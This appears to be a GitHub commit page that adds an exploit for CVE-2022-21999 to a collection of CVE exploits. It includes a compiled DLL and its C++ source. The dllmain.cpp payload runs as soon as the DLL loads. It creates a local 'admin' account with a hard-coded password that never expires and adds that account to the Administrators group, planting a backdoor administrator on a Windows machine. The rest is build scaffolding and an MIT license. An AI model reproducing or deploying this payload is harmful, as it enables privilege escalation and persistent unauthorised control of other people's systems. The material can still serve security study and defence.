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add CVE-2022-21999 exp
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helloexp committed Feb 10, 2022
1 parent 4912e67 commit 88ba88c
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Binary file added 00-CVE_EXP/CVE-2022-21999/AddUser.dll
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31 changes: 31 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.sln
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Microsoft Visual Studio Solution File, Format Version 12.00
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169 changes: 169 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj
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33 changes: 33 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj.filters
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4 changes: 4 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/AddUser.vcxproj.user
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55 changes: 55 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/dllmain.cpp
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// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <LM.h>
#pragma comment(lib, "netapi32.lib")

void main()
{
wchar_t username[] = L"admin";
wchar_t password[] = L"Passw0rd!";

// Dynamically look up local administrators group name
BYTE builtinAdministratorsSid[SECURITY_MAX_SID_SIZE];
DWORD cbSize = sizeof(builtinAdministratorsSid);
CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &builtinAdministratorsSid,
&cbSize);

SID_NAME_USE sidNameUse;
WCHAR name[128], referencedDomainName[128];
DWORD cchName = 128, cchReferencedDomainName = 128;
BOOL bres = LookupAccountSidW(NULL, builtinAdministratorsSid, name, &cchName, referencedDomainName, &cchReferencedDomainName, &sidNameUse);

// Create new user
USER_INFO_1 user;
memset(&user, 0, sizeof(USER_INFO_1));
user.usri1_name = username;
user.usri1_password = password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);

// Add the user to the administrators group
LOCALGROUP_MEMBERS_INFO_3 members;
members.lgrmi3_domainandname = username;
NetLocalGroupAddMembers(NULL, name, 3, (LPBYTE)&members, 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH: {
main();
break;
}
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return FALSE;
}

5 changes: 5 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/framework.h
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#pragma once

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>
5 changes: 5 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/pch.cpp
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// pch.cpp: source file corresponding to the pre-compiled header

#include "pch.h"

// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
13 changes: 13 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/AddUser/pch.h
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// pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
// Do not add files here that you will be updating frequently as this negates the performance advantage.

#ifndef PCH_H
#define PCH_H

// add headers that you want to pre-compile here
#include "framework.h"

#endif //PCH_H
21 changes: 21 additions & 0 deletions 00-CVE_EXP/CVE-2022-21999/LICENSE
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MIT License

Copyright (c) 2022 Oliver Lyak

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
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